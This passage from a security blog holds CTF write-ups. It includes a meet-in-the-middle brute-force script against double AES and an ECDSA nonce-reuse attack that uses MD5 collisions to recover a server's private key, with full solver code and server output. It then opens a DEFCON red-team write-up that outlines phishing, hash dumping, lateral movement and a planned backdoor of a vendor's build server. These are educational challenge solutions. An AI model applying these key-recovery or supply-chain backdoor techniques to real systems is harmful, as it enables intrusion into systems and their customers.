<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key2</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span>
<span class="k">return</span> <span class="n">ct</span>
</code></pre></div></div>
<p>This way of encrypting the plaintext twice does not double the strenght of the encryption. This is very similar to the classic <a href="https://en.wikipedia.org/wiki/Triple_DES#Security">Triple DES</a>.</p>
<p>This is vulnerable to the “meet in the middle attack” which is possible if we have known plaintext and ciphertext pair.</p>
<h5 id="guessing-the-plaintext">“Guessing” the plaintext</h5>
<p>The example plaintexts is not really clear on the exact formating of the packet plaintext.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'''
Report Day 51:
Mainframe: Secure
Main Control Unit: Secure
Internal Network: Secure
Cryptographic Protocols: Insecure
'''
</code></pre></div></div>
<p>Do I include the ticks? Do I add a newline at the end? Etc…</p>
<p>In the end, I just created a template of the plaintexts and tried to iterate on the different guesses of the plaintex.</p>
<p>I used the following template and</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msg</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""</span><span class="si">{</span><span class="n">prefix</span><span class="si">}</span><span class="s">Report Day </span><span class="si">{</span><span class="n">day</span><span class="si">}</span><span class="s">:
Mainframe: </span><span class="si">{</span><span class="n">s1</span><span class="si">}</span><span class="s">
Main Control Unit: </span><span class="si">{</span><span class="n">s2</span><span class="si">}</span><span class="s">
Internal Network: </span><span class="si">{</span><span class="n">s3</span><span class="si">}</span><span class="s">
Cryptographic Protocols: </span><span class="si">{</span><span class="n">s4</span><span class="si">}</span><span class="s">
</span><span class="si">{</span><span class="n">suffix</span><span class="si">}</span><span class="s">"""</span>
</code></pre></div></div>
<p>So all in all, just brute force using meet-in-the-middle attack on the 16 random bits of key1 and key2, while guessing the proper plaintext</p>
<h5 id="full-solution-1">Full Solution</h5>
<p>Here is the full solution. The nested for-loops is an eyesore but it gets the job done.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">BYTE_SIZE</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="n">BIT_SIZE</span><span class="p">)</span>
<span class="n">key_low</span> <span class="o">=</span> <span class="n">key</span> <span class="o">-</span> <span class="p">(</span><span class="n">key</span> <span class="o">%</span> <span class="p">(</span><span class="mi">1</span><span class="o"><<</span><span class="mi">16</span><span class="p">))</span>
<span class="n">key_high</span> <span class="o">=</span> <span class="n">key_low</span> <span class="o">+</span> <span class="p">(</span><span class="mi">1</span><span class="o"><<</span><span class="mi">16</span><span class="p">)</span>
<span class="n">ct</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">day</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">52</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">55</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">s1</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'Insecure'</span><span class="p">,</span> <span class="s">'Secure'</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">s2</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'Insecure'</span><span class="p">,</span> <span class="s">'Secure'</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">s3</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'Insecure'</span><span class="p">,</span> <span class="s">'Secure'</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">s4</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'Insecure'</span><span class="p">,</span> <span class="s">'Secure'</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">prefix</span> <span class="ow">in</span> <span class="p">[</span><span class="s">''</span><span class="p">,</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">suffix</span> <span class="ow">in</span> <span class="p">[</span><span class="s">''</span><span class="p">,</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">]:</span>
<span class="n">msg</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""</span><span class="se">\
</span><span class="si">{</span><span class="n">prefix</span><span class="si">}</span><span class="s">Report Day </span><span class="si">{</span><span class="n">day</span><span class="si">}</span><span class="s">:
Mainframe: </span><span class="si">{</span><span class="n">s1</span><span class="si">}</span><span class="s">
Main Control Unit: </span><span class="si">{</span><span class="n">s2</span><span class="si">}</span><span class="s">
Internal Network: </span><span class="si">{</span><span class="n">s3</span><span class="si">}</span><span class="s">
Cryptographic Protocols: </span><span class="si">{</span><span class="n">s4</span><span class="si">}</span><span class="s">
</span><span class="si">{</span><span class="n">suffix</span><span class="si">}</span><span class="s">"""</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">msg</span><span class="p">).</span><span class="n">encode</span><span class="p">()</span>
<span class="k">for</span> <span class="n">k1</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">key_low</span><span class="p">,</span> <span class="n">key_high</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">k1</span><span class="p">),</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">_ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="n">ct</span><span class="p">[</span><span class="n">_ct</span><span class="p">]</span> <span class="o">=</span> <span class="n">k1</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'packet_6.txt.enc'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">msg_ct</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="k">for</span> <span class="n">k2</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">key_low</span><span class="p">,</span> <span class="n">key_high</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">k2</span><span class="p">),</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">_ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">msg_ct</span><span class="p">)</span>
<span class="k">if</span> <span class="n">_ct</span> <span class="ow">in</span> <span class="n">ct</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">ct</span><span class="p">[</span><span class="n">_ct</span><span class="p">],</span> <span class="n">k2</span><span class="p">)</span>
<span class="n">k1</span> <span class="o">=</span> <span class="n">ct</span><span class="p">[</span><span class="n">_ct</span><span class="p">]</span>
<span class="n">k2</span> <span class="o">=</span> <span class="n">k2</span>
<span class="k">break</span>
<span class="c1"># k1, k2 = 27534775351079738483622454743638381042593424795345717535038924797978770229648, 27534775351079738483622454743638381042593424795345717535038924797978770265131
</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'flag.txt.enc'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">p1</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">k2</span><span class="p">),</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">).</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
<span class="n">p2</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">k1</span><span class="p">),</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">).</span><span class="n">decrypt</span><span class="p">(</span><span class="n">p1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p2</span><span class="p">)</span>
</code></pre></div></div>
<h4 id="suspicious-signing-650-point-21-solves">Suspicious Signing (650 point, 21 solves)</h4>
<h5 id="problem-3">Problem</h5>
<p>You are given the following source code and you would have to interact with a server to get the flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">md5</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span><span class="p">,</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
<span class="kn">from</span> <span class="nn">ecdsa</span> <span class="kn">import</span> <span class="n">ellipticcurve</span>
<span class="kn">from</span> <span class="nn">ecdsa.ecdsa</span> <span class="kn">import</span> <span class="n">curve_256</span><span class="p">,</span> <span class="n">generator_256</span><span class="p">,</span> <span class="n">Public_key</span><span class="p">,</span> <span class="n">Private_key</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">urandom</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">encode</span><span class="p">()</span>
<span class="n">G</span> <span class="o">=</span> <span class="n">generator_256</span>
<span class="n">order</span> <span class="o">=</span> <span class="n">G</span><span class="p">.</span><span class="n">order</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">genKey</span><span class="p">():</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">order</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">pubkey</span> <span class="o">=</span> <span class="n">Public_key</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">d</span><span class="o">*</span><span class="n">G</span><span class="p">)</span>
<span class="n">privkey</span> <span class="o">=</span> <span class="n">Private_key</span><span class="p">(</span><span class="n">pubkey</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span>
<span class="k">return</span> <span class="n">pubkey</span><span class="p">,</span> <span class="n">privkey</span>
<span class="k">def</span> <span class="nf">ecdsa_sign</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">privkey</span><span class="p">):</span>
<span class="n">hsh</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">msg</span><span class="p">).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">nonce</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">hsh</span> <span class="o">+</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">privkey</span><span class="p">.</span><span class="n">secret_multiplier</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span> <span class="o">*</span> <span class="mi">2</span>
<span class="n">sig</span> <span class="o">=</span> <span class="n">privkey</span><span class="p">.</span><span class="n">sign</span><span class="p">(</span><span class="n">bytes_to_long</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">nonce</span><span class="p">))</span>
<span class="k">return</span> <span class="n">msg</span><span class="p">,</span> <span class="n">sig</span><span class="p">.</span><span class="n">r</span><span class="p">,</span> <span class="n">sig</span><span class="p">.</span><span class="n">s</span>
<span class="k">def</span> <span class="nf">encryptFlag</span><span class="p">(</span><span class="n">privkey</span><span class="p">,</span> <span class="n">flag</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">privkey</span><span class="p">.</span><span class="n">secret_multiplier</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span>
<span class="k">return</span> <span class="n">ciphertext</span><span class="p">,</span> <span class="n">iv</span>
<span class="n">pubkey</span><span class="p">,</span> <span class="n">privkey</span> <span class="o">=</span> <span class="n">genKey</span><span class="p">()</span>
<span class="n">ct</span><span class="p">,</span> <span class="n">iv</span> <span class="o">=</span> <span class="n">encryptFlag</span><span class="p">(</span><span class="n">privkey</span><span class="p">,</span> <span class="n">flag</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"""Encrypted flag: </span><span class="si">{</span><span class="n">ct</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">
iv: </span><span class="si">{</span><span class="n">iv</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">"""</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">msg</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter your message in hex: "</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">msg</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
<span class="n">m</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">s</span> <span class="o">=</span> <span class="n">ecdsa_sign</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">privkey</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"""Message: </span><span class="si">{</span><span class="n">m</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">
r: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">r</span><span class="p">)</span><span class="si">}</span><span class="s">
s: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="si">}</span><span class="s">"""</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"An error occured when trying to sign your message."</span><span class="p">)</span>
</code></pre></div></div>
<h5 id="initial-analysis">Initial Analysis</h5>
<p>Notice that in the <code class="language-plaintext highlighter-rouge">encryptFlag</code> the AES key is generated from the secret exponent of the ECDSA key <code class="language-plaintext highlighter-rouge">privkey.secret_multiplier</code>.</p>
<p>Therefore, the main objective is to try to somehow recover the private key of the ECDSA.</p>
<p>A big clue here is that the <code class="language-plaintext highlighter-rouge">nonce</code> used in the encryption is not really a <code class="language-plaintext highlighter-rouge">nonce</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">ecdsa_sign</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">privkey</span><span class="p">):</span>
<span class="n">hsh</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">msg</span><span class="p">).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">nonce</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">hsh</span> <span class="o">+</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">privkey</span><span class="p">.</span><span class="n">secret_multiplier</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span> <span class="o">*</span> <span class="mi">2</span>
<span class="p">...</span>
</code></pre></div></div>
<p>Problems like this are usually using <a href="https://arstechnica.com/gaming/2010/12/ps3-hacked-through-poor-implementation-of-cryptography/">the famous attack on the playstation 3 crypto implementation</a>.</p>
<p>These attacks are able to recover the private key if the nonce is reused for two different signatures.</p>
<p>This attack is well documented:</p>
<ul>
<li>http://koclab.cs.ucsb.edu/teaching/ecc/project/2015Projects/Schmid.pdf</li>
<li>https://github.com/bytemare/ecdsa-keyrec</li>
</ul>
<h5 id="hash-collision">Hash Collision</h5>
<p>This attack is not as straightforward because the nonce uses the hash of the message when being generated.</p>
<p>You might think that since it is derived from the hash of the message, it should be random right?</p>
<p>No. We can trick server into using the same hash for two messages by using hash collision.</p>
<p>Because the hash used is <code class="language-plaintext highlighter-rouge">MD5</code> which is part of a family of hashing that uses the <a href="https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction">Merkle–Damgård construction</a> we can easily generate hash collisions by sending two messages with the same MD5 hash.</p>
<p><a href="https://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities">Wikipedia even an example of hash collision that you can use for this problems</a>.</p>
<p>So get the signature for the message</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d131dd02c5e6eec4 693d9a0698aff95c 2fcab58712467eab 4004583eb8fb7f89
55ad340609f4b302 83e488832571415a 085125e8f7cdc99f d91dbdf280373c5b
d8823e3156348f5b ae6dacd436c919c6 dd53e2b487da03fd 02396306d248cda0
e99f33420f577ee8 ce54b67080a80d1e c69821bcb6a88393 96f9652b6ff72a70
</code></pre></div></div>
<p>and then get the signature for</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d131dd02c5e6eec4 693d9a0698aff95c 2fcab50712467eab 4004583eb8fb7f89
55ad340609f4b302 83e4888325f1415a 085125e8f7cdc99f d91dbd7280373c5b
d8823e3156348f5b ae6dacd436c919c6 dd53e23487da03fd 02396306d248cda0
e99f33420f577ee8 ce54b67080280d1e c69821bcb6a88393 96f965ab6ff72a70
</code></pre></div></div>
<p>and validate the the nonce are the same.</p>
<p>The output of the server should be</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Encrypted flag: 248005ebc638b16a0208f6c7949f1c68a147f906aa2e749985cdde5e51d230f87af2d19ec0ce1ddfb8808585dd54257bc86d456d4ca1cc8920667e792ad5c4f1
iv: d39a60befaeb2cb45ce8d2181371a387
Enter your message in hex: d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
Message: d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
r: 0x557a787642ece2fe307b7de417d7d3c7bfe92313020a58e49771be515c4cadc
s: 0x8d1c17fb248fb8b0af29d64365fae1b495c4eb6340ce027f9f3625564a945cda
Enter your message in hex: d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
Message: d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
r: 0x557a787642ece2fe307b7de417d7d3c7bfe92313020a58e49771be515c4cadc
s: 0xda91bba782f6e63aadd53f74bd989f194664a8273d431d4e104b55e01d355296
</code></pre></div></div>
<h5 id="recovering-private-key">Recovering private key</h5>
<p>I just used the relevant code from <a href="https://github.com/bytemare/ecdsa-keyrec">bytemare/ecdsa-keyrec</a></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">decryptFlag</span><span class="p">(</span><span class="n">secret_exponent</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">flag</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">secret_exponent</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
<span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="n">order</span> <span class="o">=</span> <span class="n">generator_256</span><span class="p">.</span><span class="n">order</span><span class="p">()</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'248005ebc638b16a0208f6c7949f1c68a147f906aa2e749985cdde5e51d230f87af2d19ec0ce1ddfb8808585dd54257bc86d456d4ca1cc8920667e792ad5c4f1'</span><span class="p">)</span>
<span class="n">iv</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'d39a60befaeb2cb45ce8d2181371a387'</span><span class="p">)</span>
<span class="n">m1</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70'</span><span class="p">)</span>
<span class="n">r1</span> <span class="o">=</span> <span class="mh">0x557a787642ece2fe307b7de417d7d3c7bfe92313020a58e49771be515c4cadc</span>
<span class="n">s1</span> <span class="o">=</span> <span class="mh">0x8d1c17fb248fb8b0af29d64365fae1b495c4eb6340ce027f9f3625564a945cda</span>
<span class="n">m2</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70'</span><span class="p">)</span>
<span class="n">r2</span> <span class="o">=</span> <span class="mh">0x557a787642ece2fe307b7de417d7d3c7bfe92313020a58e49771be515c4cadc</span>
<span class="n">s2</span> <span class="o">=</span> <span class="mh">0xda91bba782f6e63aadd53f74bd989f194664a8273d431d4e104b55e01d355296</span>
<span class="c1"># Validate the the nonce are the same for two different signatures
</span><span class="k">assert</span> <span class="n">r1</span> <span class="o">==</span> <span class="n">r2</span>
<span class="k">assert</span> <span class="n">s1</span> <span class="o">!=</span> <span class="n">s2</span>
<span class="n">h1</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">m1</span><span class="p">)</span>
<span class="n">h2</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">m2</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">r1</span>
<span class="n">r_inv</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">order</span><span class="p">)</span>
<span class="n">h</span> <span class="o">=</span> <span class="p">(</span><span class="n">h1</span> <span class="o">-</span> <span class="n">h2</span><span class="p">)</span> <span class="o">%</span> <span class="n">order</span>
<span class="k">for</span> <span class="n">k_try</span> <span class="ow">in</span> <span class="p">(</span><span class="n">s1</span> <span class="o">-</span> <span class="n">s2</span><span class="p">,</span>
<span class="n">s1</span> <span class="o">+</span> <span class="n">s2</span><span class="p">,</span>
<span class="o">-</span><span class="n">s1</span> <span class="o">-</span> <span class="n">s2</span><span class="p">,</span>
<span class="o">-</span><span class="n">s1</span> <span class="o">+</span> <span class="n">s2</span><span class="p">):</span>
<span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">h</span> <span class="o">*</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">k_try</span><span class="p">,</span> <span class="n">order</span><span class="p">))</span> <span class="o">%</span> <span class="n">order</span>
<span class="n">secexp</span> <span class="o">=</span> <span class="p">(((((</span><span class="n">s1</span> <span class="o">*</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="n">order</span><span class="p">)</span> <span class="o">-</span> <span class="n">h1</span><span class="p">)</span> <span class="o">%</span> <span class="n">order</span><span class="p">)</span> <span class="o">*</span> <span class="n">r_inv</span><span class="p">)</span> <span class="o">%</span> <span class="n">order</span>
<span class="k">print</span><span class="p">(</span><span class="n">decryptFlag</span><span class="p">(</span><span class="n">secexp</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">))</span>
<span class="c1"># b'HTB{r3u53d_n0nc35?n4h-w3_g0t_d3t3rm1n15t1c-n0nc3s!}\r\r\r\r\r\r\r\r\r\r\r\r\r'
</span></code></pre></div></div>Pepe BerbaIntroductionDEFCON 29 Red Team Village CTF Writeup: Supply Chain Attack2021-08-10T00:00:00+00:002021-08-10T00:00:00+00:00https://pberba.github.io/security/2021/08/10/defcon-29-redteamvillage-ctf<p>This year I was able to join the <strong>DEFCON 29 Red Team Village’s CTF</strong> since the event was held online for free. I joined with my team, the <a href="https://hackstreetboys.ph/">hackstreetboys</a>. <strong>We got 3rd out of 650 in the qualifiers and the 3rd out of 20 finals!</strong></p>
<p>(Last year, we joined <a href="https://pberba.github.io/security/2020/08/11/defcon-28-blueteam-opensoc-ctf/">DEFCON 28 Blue Team CTF where we got into the finals</a>. We wanted to try to win this year but you needed to be a paid attendee to participate… so we decided to focus on RTV CTF instead.)</p>
<p>For this blog post, I will focus on the RTV finals CTF. It’s a red team simulation similar to boxes and pro labs in Hackthebox where you have to get an initial foothold in the network and pivot through the different machines to go deeper and deeper.</p>
<p>This is a long scenario with different stages to it, and this blog post will focus only on a specific part of the scenario that I solved. This became my main contribution to my team during the finals. This is about implementing a supply chain attack to get to the next stages of the CTF. Part of this turned out to be an unintended solution.</p>
<h3 id="introduction-to-the-attack">Introduction to the attack</h3>
<p>Let me first describe the scenario so far. For this, I will use illustration from <a href="https://pberba.github.io/security/2020/04/26/lateral-movement/">my previous blog post on lateral movement</a>.</p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*K0iODFnCGPtJUsZWQM1KDA.png" alt="" />
<em>Single email to a production web server</em></p>
<ol>
<li>We use OSINT to get a target HR employee and <strong>send a fake job application which contains a malicious document.</strong> The document is opened and we get a shell on the HR machine.</li>
<li>The HR was a <strong>local admin</strong>. Using the account, we were able to <strong>dump hashes on the machine.</strong></li>
<li>With the hashes, we were able to <strong>pivot into several internal workstations</strong>. One of them was a <strong>dev machine with SSH keys to the build server</strong></li>
<li>This is where we are right now. We are trying to exploit the build server.</li>
</ol>
<p>Now the current company that we have access to is <a href="https://lunarfire.dev/">Lunarfire</a></p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*zaBnlloPI9FHTHyMzU-WZw.png" alt="" /></p>
<p>And one of the products they offer is a chat application, Wuphf. This web server that hosts the compiled clients of Wuphf that Lunarfire’s customers that will download and get updates from.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*4c8qQqStuwznqSeAAMRw0w.png" alt="" /></p>
<p>This is the same server from the illustration’s step 4. Now because of recent Solarwinds and Kaseya supply chain attacks, it was clear to me that <strong>we needed to use our unprivileged access to the build server to add a backdoor to the executables hosted in this public web page.</strong></p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*Og22WUuat3O_SOgV8gftmQ.png" alt="" />
<em>Single email to a production web server to many customers</em></p>
